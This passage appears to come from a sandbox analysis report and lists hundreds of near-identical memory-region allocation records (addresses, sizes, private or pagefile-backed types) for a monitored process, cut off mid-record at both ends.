end_va = 0x6fdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 9683 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9684 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9685 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9686 start_va = 0x122d0000 end_va = 0x1234ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000122d0000" filename = "" Region: id = 9687 start_va = 0x6e0000 end_va = 0x6fdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 9688 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9689 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9690 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9691 start_va = 0x6e0000 end_va = 0x6fdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 9692 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9693 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9694 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9695 start_va = 0x6e0000 end_va = 0x6fdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 9696 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9697 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9698 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9699 start_va = 0x6e0000 end_va = 0x6fdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 9700 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9701 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9702 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9703 start_va = 0x6e0000 end_va = 0x6fdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 9704 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9705 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9706 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9707 start_va = 0x6e0000 end_va = 0x6fdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 9708 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9709 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9710 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9711 start_va = 0x6e0000 end_va = 0x6fdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 9712 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9713 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9714 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9715 start_va = 0x6e0000 end_va = 0x6fdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 9716 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9717 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9718 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9719 start_va = 0x6e0000 end_va = 0x6fdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 9720 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9721 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9722 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9723 start_va = 0x6e0000 end_va = 0x6fdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 9724 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9725 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9726 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9727 start_va = 0x6e0000 end_va = 0x6e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 9728 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9729 start_va = 0x6e0000 end_va = 0x6fdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 9730 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9731 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9732 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9733 start_va = 0x6e0000 end_va = 0x6fdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 9734 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9735 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9736 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9737 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9738 start_va = 0x6e0000 end_va = 0x6fdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 9739 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9740 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9741 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9742 start_va = 0x6e0000 end_va = 0x6fdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 9743 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9744 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9745 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9746 start_va = 0x6e0000 end_va = 0x6fdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 9747 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9748 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9749 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9750 start_va = 0x6e0000 end_va = 0x6fdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 9751 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9752 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9753 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9754 start_va = 0x6d0000 end_va = 0x6d3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9755 start_va = 0x6e0000 end_va = 0x6fdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 9756 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9757 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9758 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9759 start_va = 0x6e0000 end_va = 0x6fdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 9760 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9761 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9762 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9763 start_va = 0x6e0000 end_va = 0x6fdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 9764 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9765 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9766 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9767 start_va = 0x6e0000 end_va = 0x6fdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 9768 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9769 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9770 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9771 start_va = 0x6e0000 end_va = 0x6fdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 9772 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9773 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9774 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9775 start_va = 0x6e0000 end_va = 0x6fdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 9776 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9777 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9778 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9779 start_va = 0x6e0000 end_va = 0x6fdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 9780 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9781 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9782 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9783 start_va = 0x6e0000 end_va = 0x6fdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 9784 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9785 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9786 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9787 start_va = 0x6e0000 end_va = 0x6fdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 9788 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9789 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9790 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9791 start_va = 0x6e0000 end_va = 0x6fdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 9792 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9793 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9794 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9795 start_va = 0x6e0000 end_va = 0x6fdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 9796 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9797 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9798 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9799 start_va = 0x6e0000 end_va = 0x6fdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 9800 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9801 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9802 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9803 start_va = 0x6e0000 end_va = 0x6fdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 9804 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9805 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9806 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9807 start_va = 0x6e0000 end_va = 0x6fdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 9808 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9809 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9810 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9811 start_va = 0x6e0000 end_va = 0x6fdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 9812 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9813 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9814 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9815 start_va = 0x6e0000 end_va = 0x6fdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 9816 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9817 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9818 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9819 start_va = 0x6e0000 end_va = 0x6fdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 9820 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9821 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9822 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9823 start_va = 0x6e0000 end_va = 0x6fdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 9824 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9825 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9826 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9827 start_va = 0x6e0000 end_va = 0x6fdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 9828 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9829 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9830 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9831 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9832 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9833 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9834 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9835 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9836 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9837 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9838 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9839 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9840 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9841 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9842 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9843 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9844 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9845 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9847 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9848 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9849 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9850 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9851 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9852 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9853 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9854 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9855 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9856 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9857 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9858 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9862 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9863 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9864 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9865 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9866 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9867 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9868 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9869 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9870 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9871 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9872 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9873 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9874 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9875 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9876 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9877 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9878 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9879 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9880 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9881 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9882 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9883 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 